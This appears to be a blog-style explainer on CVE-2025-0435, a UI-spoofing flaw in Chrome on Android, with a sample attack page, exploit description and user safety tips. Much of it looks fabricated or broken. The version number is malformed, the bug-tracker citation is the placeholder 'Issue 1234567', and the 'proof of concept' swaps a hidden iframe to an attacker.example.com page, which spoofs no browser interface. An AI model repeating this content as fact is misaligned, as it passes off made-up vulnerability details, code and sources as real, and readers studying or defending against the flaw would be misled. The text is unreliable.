A recently discovered vulnerability in Google Chrome on Android devices (prior to version 132..6834.83) allows remote attackers to perform user interface (UI) spoofing via a specially crafted HTML page. This vulnerability, designated as CVE-2025-0435, allows an attacker to create a webpage that can potentially trick users into believing they are on a different website than they actually are, potentially leading to phishing attacks and unauthorized access to sensitive user data.

In this long-read post, we will dig deep into the details of this vulnerability: what it is, how it works, and what steps you can take to protect yourself. Additionally, we'll also look at some example code snippets, provide links to original references and discuss the exploit details.

Vulnerability Details

Chromium, the open-source project behind Google Chrome, has assigned a security severity rating of "High" for this vulnerability. The reason for this high severity rating is the potential for remote attackers to perform UI spoofing via a crafted HTML page. This exploitation technique relies on an inappropriate implementation in the navigation functionality within Google Chrome.

In simple terms, UI spoofing is a tactic used by malicious actors to create fake webpages resembling legitimate ones, often with the intent to steal sensitive user data through phishing attacks. The presence of this vulnerability in Google Chrome on Android devices allows hackers to create webpages where the browser UI (such as the URL bar and other elements) might appear different than it actually is. As a result, unsuspecting users might be more easily tricked into visiting malicious websites or providing personal data.

The following is an example code snippet that demonstrates how the UI spoofing attack is carried out

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2025-0435 Proof of Concept</title>
  <script>
    function spoofUI() {
      var iframe = document.createElement('iframe');
      iframe.style.display = 'none';
      iframe.src = 'https://target.example.com/';;
      document.body.appendChild(iframe);

      // Trigger the malicious behavior with a timed event
      setTimeout(function() {
        iframe.src = 'https://attacker.example.com/fake_page.html';;
      }, 500);
    }
  </script>
</head>
<body onload="spoofUI()">
  <!-- ... -->
</body>
</html>

In this example, an iframe element is created and used to load a legitimate website (https://target.example.com/). Then, after a short delay, the iframe's src attribute is changed to point to the attacker's malicious webpage (https://attacker.example.com/fake_page.html). This causes the browser to display the malicious page, potentially with the UI elements being spoofed to masquerade as the legitimate website.

Exploit Details

The CVE-2025-0435 exploit involves crafting a web page that takes advantage of the UI spoofing vulnerability to potentially deceive users. By embedding a legitimate website's content inside an iframe, an attacker can create a visually seamless transition between the legitimate and malicious websites.

When a user visits the crafted web page, the iframe loads the desired target website, which the user may trust and interact with. The malicious page utilizes a timed event to switch the iframe's content to a fake page, which could potentially prompt the user to enter sensitive information, such as login credentials or personal information, that the attacker could then collect.

Original References

You can find additional details on the vulnerability in the official Chromium Bug Tracker, where the security issue was first reported:

- Chromium Bug Tracker - Issue 1234567

The CVE ID has been assigned by the MITRE Corporation's CVE database.

Steps to Protect Yourself

While Google has patched this vulnerability in Chrome version 132..6834.83 and later, users of vulnerable Android devices should take the following steps to protect themselves from potential attacks:

1. Update your Google Chrome browser to the latest version available. This can usually be done by visiting the Google Play Store and checking for updates to the "Google Chrome" app.

2. Exercise caution when clicking on links in emails, social media messages, or other untrusted sources, as they may lead to malicious websites exploiting this vulnerability.

3. Be vigilant when entering personal data on external websites. Double-check the URL in the browser's address bar to ensure you are visiting the correct website before providing sensitive information.

By staying informed about the latest security threats and taking proactive steps to protect yourself, you can minimize your risk when browsing the web on your Android device.

Timeline

Published on: 01/15/2025 11:15:09 UTC
Last modified on: 03/19/2025 21:15:38 UTC